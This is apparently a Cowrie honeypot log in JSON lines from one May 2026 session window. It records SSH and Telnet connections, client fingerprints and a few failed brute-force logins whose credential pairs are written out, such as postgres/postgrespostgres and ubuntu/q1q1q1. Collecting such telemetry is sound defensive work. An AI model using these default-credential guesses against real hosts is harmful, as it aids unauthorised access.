{"eventid":"cowrie.login.failed","username":"gittest","password":"gittest","message":"login attempt [gittest/gittest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:08.628744Z","src_ip":"172.185.24.228","session":"fce10a536d7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50062,"dst_ip":"10.17.0.5","dst_port":23,"session":"518b0cf5bfea","protocol":"telnet","message":"New connection: 62.210.97.77:50062 (10.17.0.5:23) [session: 518b0cf5bfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:09.521990Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:09.769639Z","src_ip":"172.185.24.228","session":"fce10a536d7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43822,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ec8dec5c39e","protocol":"telnet","message":"New connection: 165.232.131.181:43822 (10.17.0.5:23) [session: 6ec8dec5c39e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:10.306420Z"}
{"eventid":"cowrie.session.closed","duration":7.903756856918335,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:15.083967Z","src_ip":"65.60.27.33","session":"5e6f4ef0976f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00203084945679,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:15.915776Z","src_ip":"188.66.52.72","session":"18a5a2ec4075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.91720938682556,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:16.816751Z","src_ip":"62.210.97.77","session":"51c632bae0c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00312685966492,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:17.810568Z","src_ip":"188.66.52.72","session":"200dcc93a27f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50074,"dst_ip":"10.17.0.5","dst_port":23,"session":"9299286d0507","protocol":"telnet","message":"New connection: 62.210.97.77:50074 (10.17.0.5:23) [session: 9299286d0507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:19.183988Z"}
{"eventid":"cowrie.session.closed","duration":120.0024983882904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:19.926652Z","src_ip":"188.66.52.72","session":"19ca0de0acc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.66.52.72","src_port":27019,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7d594253e0","protocol":"telnet","message":"New connection: 188.66.52.72:27019 (10.17.0.5:23) [session: 9c7d594253e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:20.808340Z"}
{"eventid":"cowrie.session.closed","duration":33.46423006057739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:21.502877Z","src_ip":"62.210.97.77","session":"617c2f2d2a7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37948,"dst_ip":"10.17.0.5","dst_port":23,"session":"52127b2f52e5","protocol":"telnet","message":"New connection: 65.60.27.33:37948 (10.17.0.5:23) [session: 52127b2f52e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:22.542605Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40838,"dst_ip":"10.17.0.5","dst_port":23,"session":"b672b204c29c","protocol":"telnet","message":"New connection: 62.210.97.77:40838 (10.17.0.5:23) [session: b672b204c29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:24.421402Z"}
{"eventid":"cowrie.session.closed","duration":47.88653898239136,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:25.327339Z","src_ip":"165.232.131.181","session":"44ebd71136b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40844,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8dbcc532bbd","protocol":"telnet","message":"New connection: 62.210.97.77:40844 (10.17.0.5:23) [session: b8dbcc532bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:26.311658Z"}
{"eventid":"cowrie.session.closed","duration":34.39414024353027,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:28.575885Z","src_ip":"62.210.97.77","session":"6dd787f50869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":58046,"dst_ip":"159.203.135.109","dst_port":22,"session":"4885f39cdc77","protocol":"ssh","message":"New connection: 80.94.92.182:58046 (159.203.135.109:22) [session: 4885f39cdc77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:32.237967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:32.344624Z","src_ip":"80.94.92.182","session":"4885f39cdc77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:32.474650Z","src_ip":"80.94.92.182","session":"4885f39cdc77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"psadmin","password":"psadmin","message":"login attempt [psadmin/psadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:33.300892Z","src_ip":"80.94.92.182","session":"4885f39cdc77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:34.523609Z","src_ip":"80.94.92.182","session":"4885f39cdc77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53158,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc54070a1577","protocol":"telnet","message":"New connection: 65.60.27.33:53158 (10.17.0.5:23) [session: cc54070a1577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:35.464493Z"}
{"eventid":"cowrie.session.closed","duration":32.47745060920715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:36.197752Z","src_ip":"62.210.97.77","session":"8ba27ee51968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41616,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6393be30d9b","protocol":"telnet","message":"New connection: 62.210.97.77:41616 (10.17.0.5:23) [session: b6393be30d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:36.590042Z"}
{"eventid":"cowrie.session.closed","duration":36.85493063926697,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:37.080517Z","src_ip":"62.210.97.77","session":"3fafa505e28c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54284,"dst_ip":"10.17.0.5","dst_port":23,"session":"1745dc1b8c76","protocol":"telnet","message":"New connection: 65.60.27.33:54284 (10.17.0.5:23) [session: 1745dc1b8c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:39.549976Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54298,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e29f44b538","protocol":"telnet","message":"New connection: 165.232.131.181:54298 (10.17.0.5:23) [session: 37e29f44b538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:40.696237Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":55412,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae3f77ec7d6","protocol":"telnet","message":"New connection: 165.232.131.181:55412 (10.17.0.5:23) [session: 2ae3f77ec7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:46.749385Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44506,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f3b1490ec57","protocol":"telnet","message":"New connection: 38.54.119.93:44506 (10.17.0.5:23) [session: 7f3b1490ec57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:47.024234Z"}
{"eventid":"cowrie.session.closed","duration":37.84929323196411,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:47.371122Z","src_ip":"62.210.97.77","session":"518b0cf5bfea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.34770393371582,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:48.153367Z","src_ip":"65.60.27.33","session":"830a7765a62f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.90530514717102,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:48.489252Z","src_ip":"38.54.119.93","session":"fca5c0ce9a6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.292076110839844,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:51.475934Z","src_ip":"62.210.97.77","session":"9299286d0507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.464416980743408,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:51.488494Z","src_ip":"38.54.119.93","session":"7f3b1490ec57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.88585591316223,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:52.405588Z","src_ip":"165.232.131.181","session":"7361f514624b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.62834119796753,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:53.934620Z","src_ip":"165.232.131.181","session":"6ec8dec5c39e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36976,"dst_ip":"10.17.0.5","dst_port":23,"session":"667eda539318","protocol":"telnet","message":"New connection: 62.210.97.77:36976 (10.17.0.5:23) [session: 667eda539318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:54.361813Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36986,"dst_ip":"10.17.0.5","dst_port":23,"session":"48d301f6939d","protocol":"telnet","message":"New connection: 62.210.97.77:36986 (10.17.0.5:23) [session: 48d301f6939d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:55.720092Z"}
{"eventid":"cowrie.session.closed","duration":53.77895760536194,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:56.810056Z","src_ip":"38.54.119.93","session":"a344eb098997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":40030,"dst_ip":"159.203.135.109","dst_port":22,"session":"59cdf69ef571","protocol":"ssh","message":"New connection: 181.234.2.36:40030 (159.203.135.109:22) [session: 59cdf69ef571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:57.984874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:57.990184Z","src_ip":"181.234.2.36","session":"59cdf69ef571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:58.090503Z","src_ip":"181.234.2.36","session":"59cdf69ef571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespostgres","message":"login attempt [postgres/postgrespostgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:58.508708Z","src_ip":"181.234.2.36","session":"59cdf69ef571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.173598766326904,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:59.594847Z","src_ip":"62.210.97.77","session":"b672b204c29c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:10:59.606775Z","src_ip":"181.234.2.36","session":"59cdf69ef571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.32306504249573,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:00.634608Z","src_ip":"62.210.97.77","session":"b8dbcc532bbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.328697204589844,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:04.871200Z","src_ip":"65.60.27.33","session":"52127b2f52e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":48854,"dst_ip":"10.17.0.5","dst_port":22,"session":"7db8f5989c1c","protocol":"ssh","message":"New connection: 172.185.24.228:48854 (10.17.0.5:22) [session: 7db8f5989c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:06.921709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:06.925547Z","src_ip":"172.185.24.228","session":"7db8f5989c1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:07.033254Z","src_ip":"172.185.24.228","session":"7db8f5989c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59516,"dst_ip":"10.17.0.5","dst_port":23,"session":"f06f34a86c54","protocol":"telnet","message":"New connection: 65.60.27.33:59516 (10.17.0.5:23) [session: f06f34a86c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:07.231094Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q1q1","message":"login attempt [ubuntu/q1q1q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:07.395923Z","src_ip":"172.185.24.228","session":"7db8f5989c1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59692,"dst_ip":"10.17.0.5","dst_port":23,"session":"07884b769491","protocol":"telnet","message":"New connection: 38.54.119.93:59692 (10.17.0.5:23) [session: 07884b769491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:07.842880Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:08.487551Z","src_ip":"172.185.24.228","session":"7db8f5989c1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.935431957244873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:08.525371Z","src_ip":"62.210.97.77","session":"b6393be30d9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37736,"dst_ip":"10.17.0.5","dst_port":23,"session":"38a341dce91f","protocol":"telnet","message":"New connection: 165.232.131.181:37736 (10.17.0.5:23) [session: 38a341dce91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:11.631167Z"}
{"eventid":"cowrie.session.closed","duration":40.25618767738342,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:15.720571Z","src_ip":"65.60.27.33","session":"cc54070a1577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43350,"dst_ip":"10.17.0.5","dst_port":23,"session":"781ffb192d30","protocol":"telnet","message":"New connection: 62.210.97.77:43350 (10.17.0.5:23) [session: 781ffb192d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:16.387791Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43370,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb8b3fe01b2","protocol":"telnet","message":"New connection: 62.210.97.77:43370 (10.17.0.5:23) [session: bbb8b3fe01b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:17.321364Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43364,"dst_ip":"10.17.0.5","dst_port":23,"session":"49d9a3e71a78","protocol":"telnet","message":"New connection: 62.210.97.77:43364 (10.17.0.5:23) [session: 49d9a3e71a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:17.838367Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39294,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3dad945985","protocol":"telnet","message":"New connection: 165.232.131.181:39294 (10.17.0.5:23) [session: 6b3dad945985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:19.651872Z"}
{"eventid":"cowrie.session.closed","duration":42.015796422958374,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:21.565683Z","src_ip":"65.60.27.33","session":"1745dc1b8c76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41930,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b222d0ea05e","protocol":"telnet","message":"New connection: 62.210.97.77:41930 (10.17.0.5:23) [session: 2b222d0ea05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:24.635544Z"}
{"eventid":"cowrie.session.closed","duration":44.71832847595215,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:25.414392Z","src_ip":"165.232.131.181","session":"37e29f44b538","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.79299831390381,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:28.154676Z","src_ip":"62.210.97.77","session":"667eda539318","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.127318143844604,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:31.876578Z","src_ip":"165.232.131.181","session":"2ae3f77ec7d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.20720934867859,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:11:31.927184Z","src_ip":"62.210.97.77","session":"48d301f6939d","protocol":"telnet"}
